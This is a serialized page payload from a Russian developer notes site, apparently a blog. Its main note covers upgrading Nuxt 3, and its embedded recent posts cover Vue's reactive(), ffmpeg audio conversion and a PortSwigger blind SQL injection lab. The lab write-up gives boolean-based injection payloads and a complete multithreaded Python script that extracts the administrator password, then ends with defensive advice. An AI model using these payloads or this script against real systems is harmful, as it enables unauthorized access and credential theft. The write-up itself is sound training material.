[{"data":1,"prerenderedAt":1414},["ShallowReactive",2],{"page-ru-\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3":3,"recent-ru":73,"posts-ru-frontend":1156},{"id":4,"title":5,"author":6,"body":7,"date":59,"description":60,"extension":61,"image":62,"meta":63,"navigation":64,"path":65,"seo":66,"stem":67,"tags":68,"__hash__":72},"content_ru\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3.md","Как обновить Nuxt 3 проект","Олег Анучин",{"type":8,"value":9,"toc":56},"minimark",[10,14,40,44,52],[11,12,5],"h1",{"id":13},"как-обновить-nuxt-3-проект",[15,16,21],"pre",{"className":17,"code":18,"language":19,"meta":20,"style":20},"language-bash shiki shiki-themes github-light github-dark","yarn nuxi upgrade\n","bash","",[22,23,24],"code",{"__ignoreMap":20},[25,26,29,33,37],"span",{"class":27,"line":28},"line",1,[25,30,32],{"class":31},"sScJk","yarn",[25,34,36],{"class":35},"sZZnC"," nuxi",[25,38,39],{"class":35}," upgrade\n",[41,42,43],"p",{},"Пример вывода:",[15,45,50],{"className":46,"code":48,"language":49},[47],"language-text","✔ Successfully upgraded nuxt from 3.0.0-rc.4-27605536.8c2c80e to 3.0.0-rc.4\n","text",[22,51,48],{"__ignoreMap":20},[53,54,55],"style",{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":20,"searchDepth":57,"depth":57,"links":58},2,[],"2022-08-15","Простая команда для обновления Nuxt 3 до последней версии","md",null,{},true,"\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",{"title":5,"description":60},"notes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",[69,70,71],"nuxt","vue","cli","_HR0DYn8dvm9dDN6C0NI3IBdhwQBiKDVaxiB0n_y3VA",[74,701,999,1030],{"id":75,"title":76,"author":77,"body":78,"date":689,"description":690,"extension":61,"image":62,"meta":691,"navigation":64,"path":692,"seo":693,"stem":694,"tags":695,"__hash__":700},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses.md","Слепая SQL-инъекция с условными ответами (PortSwigger Lab)","apsyleg",{"type":8,"value":79,"toc":678},[80,84,89,96,115,119,145,149,156,159,165,172,175,210,213,217,222,229,238,249,253,260,275,278,282,289,630,636,647,651,654,659,675],[11,81,83],{"id":82},"слепая-sql-инъекция-с-условными-ответами","Слепая SQL-инъекция с условными ответами",[85,86,88],"h2",{"id":87},"уязвимость","Уязвимость",[41,90,91,95],{},[92,93,94],"strong",{},"Слепая SQL-инъекция"," (Blind SQLi) — класс SQL-инъекций, при которых приложение не возвращает результаты запросов или сообщения об ошибках в HTTP-ответе. Атакующий получает данные, наблюдая за изменениями в поведении приложения: появляется ли определённое сообщение, меняется ли время ответа.",[41,97,98,99,102,103,106,107,110,111,114],{},"В данном варианте (",[92,100,101],{},"boolean-based blind SQLi",") приложение возвращает разный контент в зависимости от того, вернуло ли условие ",[22,104,105],{},"TRUE"," или ",[22,108,109],{},"FALSE",". Конструируя условия вида ",[22,112,113],{},"SUBSTRING(password, 1, 1) = 'a'",", атакующий может извлекать данные посимвольно.",[85,116,118],{"id":117},"лаборатория","Лаборатория",[41,120,121,124,125,132,135,138,139,141,144],{},[92,122,123],{},"Название:"," ",[126,127,131],"a",{"href":128,"rel":129},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fsql-injection\u002Fblind\u002Flab-conditional-responses",[130],"nofollow","Blind SQL injection with conditional responses",[133,134],"br",{},[92,136,137],{},"Сложность:"," Practitioner",[133,140],{},[92,142,143],{},"Цель:"," Эксплуатировать слепую SQL-инъекцию в tracking cookie, извлечь пароль администратора и войти в аккаунт.",[85,146,148],{"id":147},"разведка","Разведка",[41,150,151,152,155],{},"Приложение хранит cookie ",[22,153,154],{},"TrackingId",", которая используется в SQL-запросе. Результат запроса нигде не отображается, однако на странице появляется сообщение «Welcome back!», если запрос вернул хотя бы одну строку.",[41,157,158],{},"Сначала подтверждаем точку инъекции, добавив кавычку:",[15,160,163],{"className":161,"code":162,"language":49},[47],"TrackingId=ncJfdwqSUQK7Gh4b'--\n",[22,164,162],{"__ignoreMap":20},[41,166,167,168,171],{},"Сообщение «Welcome back!» продолжает появляться — комментарий ",[22,169,170],{},"--"," нейтрализует остаток оригинального запроса, инъекция активна.",[41,173,174],{},"Проверяем булево поведение:",[15,176,180],{"className":177,"code":178,"language":179,"meta":20,"style":20},"language-sql shiki shiki-themes github-light github-dark","-- Условие TRUE → «Welcome back!» появляется\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n\n-- Условие FALSE → «Welcome back!» исчезает\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n","sql",[22,181,182,187,192,198,204],{"__ignoreMap":20},[25,183,184],{"class":27,"line":28},[25,185,186],{},"-- Условие TRUE → «Welcome back!» появляется\n",[25,188,189],{"class":27,"line":57},[25,190,191],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n",[25,193,195],{"class":27,"line":194},3,[25,196,197],{"emptyLinePlaceholder":64},"\n",[25,199,201],{"class":27,"line":200},4,[25,202,203],{},"-- Условие FALSE → «Welcome back!» исчезает\n",[25,205,207],{"class":27,"line":206},5,[25,208,209],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n",[41,211,212],{},"Теперь у нас есть надёжный оракул: истинное условие — сообщение есть, ложное — нет. Этого достаточно для извлечения любых данных из базы.",[85,214,216],{"id":215},"эксплуатация","Эксплуатация",[218,219,221],"h3",{"id":220},"шаг-1-определяем-длину-пароля","Шаг 1 — Определяем длину пароля",[41,223,224,225,228],{},"Используем функцию ",[22,226,227],{},"LENGTH()",":",[15,230,232],{"className":177,"code":231,"language":179,"meta":20,"style":20},"TrackingId=...'+AND+LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))=20--\n",[22,233,234],{"__ignoreMap":20},[25,235,236],{"class":27,"line":28},[25,237,231],{},[41,239,240,241,244,245,248],{},"«Welcome back!» появляется при ",[22,242,243],{},"= 20"," — пароль состоит из ",[92,246,247],{},"20 символов",".",[218,250,252],{"id":251},"шаг-2-извлекаем-символы","Шаг 2 — Извлекаем символы",[41,254,255,256,259],{},"Функция ",[22,257,258],{},"SUBSTRING(строка, позиция, длина)"," позволяет проверять по одному символу:",[15,261,263],{"className":177,"code":262,"language":179,"meta":20,"style":20},"-- Первый символ — 'w'?\nTrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[22,264,265,270],{"__ignoreMap":20},[25,266,267],{"class":27,"line":28},[25,268,269],{},"-- Первый символ — 'w'?\n",[25,271,272],{"class":27,"line":57},[25,273,274],{},"TrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[41,276,277],{},"Делать это вручную для 20 символов × 36 возможных значений (a–z + 0–9) — сотни запросов. Автоматизируем скриптом.",[218,279,281],{"id":280},"шаг-3-автоматизация-на-python","Шаг 3 — Автоматизация на Python",[41,283,284,285,288],{},"Скрипт использует ",[22,286,287],{},"ThreadPoolExecutor"," для параллельного выполнения 10 запросов одновременно:",[15,290,294],{"className":291,"code":292,"language":293,"meta":20,"style":20},"language-python shiki shiki-themes github-light github-dark","import requests\nimport string\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\n\nHOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\nBASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\nTRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\nSESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n\nCHARSET = string.ascii_lowercase + string.digits\nMAX_LENGTH = 30\nTHREADS = 10\n\n\ndef check(sql_condition: str) -> bool:\n    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n    return \"Welcome back\" in r.text\n\n\ndef get_password_length(max_len: int = MAX_LENGTH) -> int:\n    print(\"[*] Определяем длину пароля...\")\n    for n in range(1, max_len + 1):\n        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n        if check(condition):\n            print(f\"[+] Длина пароля: {n}\")\n            return n\n    raise ValueError(f\"Длина пароля не найдена в пределах {max_len}\")\n\n\ndef get_char_at(pos: int, length: int) -> tuple[int, str]:\n    for c in CHARSET:\n        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n        if check(condition):\n            return pos, c\n    return pos, \"?\"\n\n\ndef get_password(length: int) -> str:\n    print(f\"[*] Перебираем {length} символов в {THREADS} потоков...\")\n    password = [\"?\"] * length\n    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n        for future in as_completed(futures):\n            pos, char = future.result()\n            password[pos - 1] = char\n            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n    return \"\".join(password)\n\n\ndef main():\n    length = get_password_length()\n    password = get_password(length)\n    print(f\"\\n[+] Пароль: {password}\")\n\n\nif __name__ == \"__main__\":\n    main()\n","python",[22,295,296,301,306,311,315,320,326,332,338,343,349,355,361,366,371,377,383,389,395,401,406,411,417,423,429,435,441,447,453,459,464,469,475,481,487,492,498,504,509,514,520,526,532,538,544,550,556,562,568,574,579,584,590,596,602,608,613,618,624],{"__ignoreMap":20},[25,297,298],{"class":27,"line":28},[25,299,300],{},"import requests\n",[25,302,303],{"class":27,"line":57},[25,304,305],{},"import string\n",[25,307,308],{"class":27,"line":194},[25,309,310],{},"from concurrent.futures import ThreadPoolExecutor, as_completed\n",[25,312,313],{"class":27,"line":200},[25,314,197],{"emptyLinePlaceholder":64},[25,316,317],{"class":27,"line":206},[25,318,319],{},"HOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\n",[25,321,323],{"class":27,"line":322},6,[25,324,325],{},"BASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\n",[25,327,329],{"class":27,"line":328},7,[25,330,331],{},"TRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\n",[25,333,335],{"class":27,"line":334},8,[25,336,337],{},"SESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n",[25,339,341],{"class":27,"line":340},9,[25,342,197],{"emptyLinePlaceholder":64},[25,344,346],{"class":27,"line":345},10,[25,347,348],{},"CHARSET = string.ascii_lowercase + string.digits\n",[25,350,352],{"class":27,"line":351},11,[25,353,354],{},"MAX_LENGTH = 30\n",[25,356,358],{"class":27,"line":357},12,[25,359,360],{},"THREADS = 10\n",[25,362,364],{"class":27,"line":363},13,[25,365,197],{"emptyLinePlaceholder":64},[25,367,369],{"class":27,"line":368},14,[25,370,197],{"emptyLinePlaceholder":64},[25,372,374],{"class":27,"line":373},15,[25,375,376],{},"def check(sql_condition: str) -> bool:\n",[25,378,380],{"class":27,"line":379},16,[25,381,382],{},"    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n",[25,384,386],{"class":27,"line":385},17,[25,387,388],{},"    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n",[25,390,392],{"class":27,"line":391},18,[25,393,394],{},"    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n",[25,396,398],{"class":27,"line":397},19,[25,399,400],{},"    return \"Welcome back\" in r.text\n",[25,402,404],{"class":27,"line":403},20,[25,405,197],{"emptyLinePlaceholder":64},[25,407,409],{"class":27,"line":408},21,[25,410,197],{"emptyLinePlaceholder":64},[25,412,414],{"class":27,"line":413},22,[25,415,416],{},"def get_password_length(max_len: int = MAX_LENGTH) -> int:\n",[25,418,420],{"class":27,"line":419},23,[25,421,422],{},"    print(\"[*] Определяем длину пароля...\")\n",[25,424,426],{"class":27,"line":425},24,[25,427,428],{},"    for n in range(1, max_len + 1):\n",[25,430,432],{"class":27,"line":431},25,[25,433,434],{},"        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n",[25,436,438],{"class":27,"line":437},26,[25,439,440],{},"        if check(condition):\n",[25,442,444],{"class":27,"line":443},27,[25,445,446],{},"            print(f\"[+] Длина пароля: {n}\")\n",[25,448,450],{"class":27,"line":449},28,[25,451,452],{},"            return n\n",[25,454,456],{"class":27,"line":455},29,[25,457,458],{},"    raise ValueError(f\"Длина пароля не найдена в пределах {max_len}\")\n",[25,460,462],{"class":27,"line":461},30,[25,463,197],{"emptyLinePlaceholder":64},[25,465,467],{"class":27,"line":466},31,[25,468,197],{"emptyLinePlaceholder":64},[25,470,472],{"class":27,"line":471},32,[25,473,474],{},"def get_char_at(pos: int, length: int) -> tuple[int, str]:\n",[25,476,478],{"class":27,"line":477},33,[25,479,480],{},"    for c in CHARSET:\n",[25,482,484],{"class":27,"line":483},34,[25,485,486],{},"        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n",[25,488,490],{"class":27,"line":489},35,[25,491,440],{},[25,493,495],{"class":27,"line":494},36,[25,496,497],{},"            return pos, c\n",[25,499,501],{"class":27,"line":500},37,[25,502,503],{},"    return pos, \"?\"\n",[25,505,507],{"class":27,"line":506},38,[25,508,197],{"emptyLinePlaceholder":64},[25,510,512],{"class":27,"line":511},39,[25,513,197],{"emptyLinePlaceholder":64},[25,515,517],{"class":27,"line":516},40,[25,518,519],{},"def get_password(length: int) -> str:\n",[25,521,523],{"class":27,"line":522},41,[25,524,525],{},"    print(f\"[*] Перебираем {length} символов в {THREADS} потоков...\")\n",[25,527,529],{"class":27,"line":528},42,[25,530,531],{},"    password = [\"?\"] * length\n",[25,533,535],{"class":27,"line":534},43,[25,536,537],{},"    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n",[25,539,541],{"class":27,"line":540},44,[25,542,543],{},"        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n",[25,545,547],{"class":27,"line":546},45,[25,548,549],{},"        for future in as_completed(futures):\n",[25,551,553],{"class":27,"line":552},46,[25,554,555],{},"            pos, char = future.result()\n",[25,557,559],{"class":27,"line":558},47,[25,560,561],{},"            password[pos - 1] = char\n",[25,563,565],{"class":27,"line":564},48,[25,566,567],{},"            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n",[25,569,571],{"class":27,"line":570},49,[25,572,573],{},"    return \"\".join(password)\n",[25,575,577],{"class":27,"line":576},50,[25,578,197],{"emptyLinePlaceholder":64},[25,580,582],{"class":27,"line":581},51,[25,583,197],{"emptyLinePlaceholder":64},[25,585,587],{"class":27,"line":586},52,[25,588,589],{},"def main():\n",[25,591,593],{"class":27,"line":592},53,[25,594,595],{},"    length = get_password_length()\n",[25,597,599],{"class":27,"line":598},54,[25,600,601],{},"    password = get_password(length)\n",[25,603,605],{"class":27,"line":604},55,[25,606,607],{},"    print(f\"\\n[+] Пароль: {password}\")\n",[25,609,611],{"class":27,"line":610},56,[25,612,197],{"emptyLinePlaceholder":64},[25,614,616],{"class":27,"line":615},57,[25,617,197],{"emptyLinePlaceholder":64},[25,619,621],{"class":27,"line":620},58,[25,622,623],{},"if __name__ == \"__main__\":\n",[25,625,627],{"class":27,"line":626},59,[25,628,629],{},"    main()\n",[41,631,632,633],{},"Результат: ",[22,634,635],{},"wfa3n32o7a6mb4xon7d6",[41,637,638,639,642,643,646],{},"Заходим в ",[22,640,641],{},"\u002Fmy-account"," как ",[22,644,645],{},"administrator"," с этим паролем — лаба решена.",[85,648,650],{"id":649},"вывод","Вывод",[41,652,653],{},"Слепая SQL-инъекция менее очевидна, чем классическая, но не менее опасна. Даже без какого-либо вывода данных, одного булевого сигнала (сообщение есть \u002F нет) достаточно для извлечения всей базы.",[41,655,656],{},[92,657,658],{},"Как защититься:",[660,661,662,666,669],"ul",{},[663,664,665],"li",{},"Использовать параметризованные запросы (prepared statements) — они полностью исключают инъекцию",[663,667,668],{},"Никогда не конкатенировать пользовательский ввод напрямую в SQL-строку",[663,670,671,672],{},"Применять принцип наименьших привилегий — аккаунт веб-приложения не должен иметь доступ к таблице ",[22,673,674],{},"users",[53,676,677],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":20,"searchDepth":57,"depth":57,"links":679},[680,681,682,683,688],{"id":87,"depth":57,"text":88},{"id":117,"depth":57,"text":118},{"id":147,"depth":57,"text":148},{"id":215,"depth":57,"text":216,"children":684},[685,686,687],{"id":220,"depth":194,"text":221},{"id":251,"depth":194,"text":252},{"id":280,"depth":194,"text":281},{"id":649,"depth":57,"text":650},"2026-03-28","Как эксплуатировать слепую SQL-инъекцию через tracking cookie методом булевого вывода и многопоточного Python-скрипта.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",{"title":76,"description":690},"notes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",[696,697,698,699],"portswigger","sql-injection","blind-sqli","web-security","VT_XCLAwWSq5eUzidLCyFph4qOXnC4jczwBb8lA_p_w",{"id":702,"title":703,"author":6,"body":704,"date":989,"description":990,"extension":61,"image":62,"meta":991,"navigation":64,"path":992,"seo":993,"stem":994,"tags":995,"__hash__":998},"content_ru\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive.md","Создание стейта компонента через reactive() как в Options API",{"type":8,"value":705,"toc":987},[706,710,720,731,984],[11,707,709],{"id":708},"создание-стейта-компонента-через-reactive","Создание стейта компонента через reactive()",[41,711,712,713,716,717,248],{},"В Options API мы можем использовать ",[22,714,715],{},"data()"," для создания стейта компонента и обращаться к нему через ",[22,718,719],{},"this",[41,721,722,723,726,727,730],{},"С помощью ",[22,724,725],{},"reactive()"," из Composition API можно добиться того же — гораздо удобнее, чем ",[22,728,729],{},"ref()"," для нескольких свойств.",[15,732,735],{"className":733,"code":734,"language":70,"meta":20,"style":20},"language-vue shiki shiki-themes github-light github-dark","\u003Cscript>\nimport { computed, reactive, toRefs } from 'vue'\n\nexport default {\n  setup() {\n    const state = reactive({\n      price: 2,\n      quantity: 5\n    })\n\n    const total = computed(() => {\n      return state.price * state.quantity\n    })\n\n    return {\n      ...toRefs(state),\n      total\n    }\n  }\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>Цена: {{ price }}\u003C\u002Fp>\n  \u003Cp>Количество: {{ quantity }}\u003C\u002Fp>\n  \u003Cp>Итого: {{ total }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n",[22,736,737,750,765,769,780,788,806,817,825,830,834,854,868,872,876,883,894,899,904,909,914,923,927,936,950,963,976],{"__ignoreMap":20},[25,738,739,743,747],{"class":27,"line":28},[25,740,742],{"class":741},"sVt8B","\u003C",[25,744,746],{"class":745},"s9eBZ","script",[25,748,749],{"class":741},">\n",[25,751,752,756,759,762],{"class":27,"line":57},[25,753,755],{"class":754},"szBVR","import",[25,757,758],{"class":741}," { computed, reactive, toRefs } ",[25,760,761],{"class":754},"from",[25,763,764],{"class":35}," 'vue'\n",[25,766,767],{"class":27,"line":194},[25,768,197],{"emptyLinePlaceholder":64},[25,770,771,774,777],{"class":27,"line":200},[25,772,773],{"class":754},"export",[25,775,776],{"class":754}," default",[25,778,779],{"class":741}," {\n",[25,781,782,785],{"class":27,"line":206},[25,783,784],{"class":31},"  setup",[25,786,787],{"class":741},"() {\n",[25,789,790,793,797,800,803],{"class":27,"line":322},[25,791,792],{"class":754},"    const",[25,794,796],{"class":795},"sj4cs"," state",[25,798,799],{"class":754}," =",[25,801,802],{"class":31}," reactive",[25,804,805],{"class":741},"({\n",[25,807,808,811,814],{"class":27,"line":328},[25,809,810],{"class":741},"      price: ",[25,812,813],{"class":795},"2",[25,815,816],{"class":741},",\n",[25,818,819,822],{"class":27,"line":334},[25,820,821],{"class":741},"      quantity: ",[25,823,824],{"class":795},"5\n",[25,826,827],{"class":27,"line":340},[25,828,829],{"class":741},"    })\n",[25,831,832],{"class":27,"line":345},[25,833,197],{"emptyLinePlaceholder":64},[25,835,836,838,841,843,846,849,852],{"class":27,"line":351},[25,837,792],{"class":754},[25,839,840],{"class":795}," total",[25,842,799],{"class":754},[25,844,845],{"class":31}," computed",[25,847,848],{"class":741},"(() ",[25,850,851],{"class":754},"=>",[25,853,779],{"class":741},[25,855,856,859,862,865],{"class":27,"line":357},[25,857,858],{"class":754},"      return",[25,860,861],{"class":741}," state.price ",[25,863,864],{"class":754},"*",[25,866,867],{"class":741}," state.quantity\n",[25,869,870],{"class":27,"line":363},[25,871,829],{"class":741},[25,873,874],{"class":27,"line":368},[25,875,197],{"emptyLinePlaceholder":64},[25,877,878,881],{"class":27,"line":373},[25,879,880],{"class":754},"    return",[25,882,779],{"class":741},[25,884,885,888,891],{"class":27,"line":379},[25,886,887],{"class":754},"      ...",[25,889,890],{"class":31},"toRefs",[25,892,893],{"class":741},"(state),\n",[25,895,896],{"class":27,"line":385},[25,897,898],{"class":741},"      total\n",[25,900,901],{"class":27,"line":391},[25,902,903],{"class":741},"    }\n",[25,905,906],{"class":27,"line":397},[25,907,908],{"class":741},"  }\n",[25,910,911],{"class":27,"line":403},[25,912,913],{"class":741},"}\n",[25,915,916,919,921],{"class":27,"line":408},[25,917,918],{"class":741},"\u003C\u002F",[25,920,746],{"class":745},[25,922,749],{"class":741},[25,924,925],{"class":27,"line":413},[25,926,197],{"emptyLinePlaceholder":64},[25,928,929,931,934],{"class":27,"line":419},[25,930,742],{"class":741},[25,932,933],{"class":745},"template",[25,935,749],{"class":741},[25,937,938,941,943,946,948],{"class":27,"line":425},[25,939,940],{"class":741},"  \u003C",[25,942,41],{"class":745},[25,944,945],{"class":741},">Цена: {{ price }}\u003C\u002F",[25,947,41],{"class":745},[25,949,749],{"class":741},[25,951,952,954,956,959,961],{"class":27,"line":431},[25,953,940],{"class":741},[25,955,41],{"class":745},[25,957,958],{"class":741},">Количество: {{ quantity }}\u003C\u002F",[25,960,41],{"class":745},[25,962,749],{"class":741},[25,964,965,967,969,972,974],{"class":27,"line":437},[25,966,940],{"class":741},[25,968,41],{"class":745},[25,970,971],{"class":741},">Итого: {{ total }}\u003C\u002F",[25,973,41],{"class":745},[25,975,749],{"class":741},[25,977,978,980,982],{"class":27,"line":443},[25,979,918],{"class":741},[25,981,933],{"class":745},[25,983,749],{"class":741},[53,985,986],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":20,"searchDepth":57,"depth":57,"links":988},[],"2022-08-20","Как использовать reactive() в Vue 3 Composition API для создания стейта аналогично data() в Options API",{},"\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",{"title":703,"description":990},"notes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",[70,996,997],"composition-api","reactive","AVpr__V_hvj6bFD9-D94muDEH5YF4HZb7akQwYPFqd8",{"id":4,"title":5,"author":6,"body":1000,"date":59,"description":60,"extension":61,"image":62,"meta":1027,"navigation":64,"path":65,"seo":1028,"stem":67,"tags":1029,"__hash__":72},{"type":8,"value":1001,"toc":1025},[1002,1004,1016,1018,1023],[11,1003,5],{"id":13},[15,1005,1006],{"className":17,"code":18,"language":19,"meta":20,"style":20},[22,1007,1008],{"__ignoreMap":20},[25,1009,1010,1012,1014],{"class":27,"line":28},[25,1011,32],{"class":31},[25,1013,36],{"class":35},[25,1015,39],{"class":35},[41,1017,43],{},[15,1019,1021],{"className":1020,"code":48,"language":49},[47],[22,1022,48],{"__ignoreMap":20},[53,1024,55],{},{"title":20,"searchDepth":57,"depth":57,"links":1026},[],{},{"title":5,"description":60},[69,70,71],{"id":1031,"title":1032,"author":6,"body":1033,"date":1145,"description":1146,"extension":61,"image":62,"meta":1147,"navigation":64,"path":1148,"seo":1149,"stem":1150,"tags":1151,"__hash__":1155},"content_ru\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg.md","Пакетная конвертация FLAC в AIFF через ffmpeg",{"type":8,"value":1034,"toc":1143},[1035,1038,1041,1057,1067,1140],[11,1036,1032],{"id":1037},"пакетная-конвертация-flac-в-aiff-через-ffmpeg",[41,1039,1040],{},"Нужен установленный ffmpeg. Для macOS:",[15,1042,1044],{"className":17,"code":1043,"language":19,"meta":20,"style":20},"brew install ffmpeg\n",[22,1045,1046],{"__ignoreMap":20},[25,1047,1048,1051,1054],{"class":27,"line":28},[25,1049,1050],{"class":31},"brew",[25,1052,1053],{"class":35}," install",[25,1055,1056],{"class":35}," ffmpeg\n",[41,1058,1059,1060,1063,1064,228],{},"Эта команда сконвертирует все ",[22,1061,1062],{},"*.flac"," файлы в ",[22,1065,1066],{},"*.aiff",[15,1068,1070],{"className":17,"code":1069,"language":19,"meta":20,"style":20},"for i in *.flac; do ffmpeg -i \"$i\" -write_id3v2 1 -c:v copy \"${i%.*}.aiff\"; done\n",[22,1071,1072],{"__ignoreMap":20},[25,1073,1074,1077,1080,1083,1086,1089,1092,1095,1098,1101,1104,1107,1110,1113,1116,1119,1122,1125,1128,1130,1132,1135,1137],{"class":27,"line":28},[25,1075,1076],{"class":754},"for",[25,1078,1079],{"class":741}," i ",[25,1081,1082],{"class":754},"in",[25,1084,1085],{"class":35}," *.flac",[25,1087,1088],{"class":741},"; ",[25,1090,1091],{"class":754},"do",[25,1093,1094],{"class":31}," ffmpeg",[25,1096,1097],{"class":795}," -i",[25,1099,1100],{"class":35}," \"",[25,1102,1103],{"class":741},"$i",[25,1105,1106],{"class":35},"\"",[25,1108,1109],{"class":795}," -write_id3v2",[25,1111,1112],{"class":795}," 1",[25,1114,1115],{"class":795}," -c:v",[25,1117,1118],{"class":35}," copy",[25,1120,1121],{"class":35}," \"${",[25,1123,1124],{"class":741},"i",[25,1126,1127],{"class":754},"%",[25,1129,248],{"class":35},[25,1131,864],{"class":754},[25,1133,1134],{"class":35},"}.aiff\"",[25,1136,1088],{"class":741},[25,1138,1139],{"class":754},"done\n",[53,1141,1142],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: 